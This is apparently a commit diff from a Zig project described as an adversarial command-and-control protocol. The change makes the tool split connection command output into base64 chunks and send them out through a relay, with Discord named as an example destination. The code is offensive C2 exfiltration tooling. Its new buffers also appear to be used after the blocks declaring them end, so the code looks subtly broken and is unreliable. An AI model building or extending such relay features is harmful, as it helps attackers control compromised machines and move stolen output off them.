Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Chunk relay input

This makes it possible to chunk connection command output to a relay
command to direct it somewhere like discord

+16 -6
+16 -6
src/main.zig
··· 38 38 } = .{}; 39 39 40 40 { 41 - var payload_buf: [4096]u8 = undefined; 42 41 var i: usize = 1; 43 42 while (i < args.len) : (i += 1) { 44 43 if (to_option.get(args[i])) |opt| { ··· 50 49 .relay => { 51 50 i += 1; 52 51 if (i < args.len) { 53 - var w: Writer = .fixed(&payload_buf); 54 - try w.printBase64(args[i]); 55 - flags.relay = w.buffered(); 52 + flags.relay = args[i]; 56 53 } else { 57 54 std.debug.print("-r/--relay requires a string\n", .{}); 58 55 return error.InvalidArguments; ··· 70 67 .connect => { 71 68 i += 1; 72 69 if (i < args.len) { 73 - var w: Writer = .fixed(&payload_buf); 70 + var w: Writer = blk: { 71 + var buf: [2048]u8 = undefined; 72 + break :blk .fixed(&buf); 73 + }; 74 74 try w.printBase64(args[i]); 75 75 flags.connect = w.buffered(); 76 76 } else { ··· 94 94 defer client.deinit(); 95 95 96 96 if (flags.relay != null) { 97 - try client.sendRelay(init.io, flags.relay.?, parseDest(flags.dest)); 97 + var chunk_writer: Writer = blk: { 98 + var buf: [2048]u8 = undefined; 99 + break :blk .fixed(&buf); 100 + }; 101 + var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len); 102 + while (output_iter.next()) |chunk| { 103 + chunk_writer.end = 0; 104 + try chunk_writer.print("{b64}", .{chunk}); 105 + try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest)); 106 + try init.io.sleep(.fromMilliseconds(40), .real); 107 + } 98 108 return; 99 109 } 100 110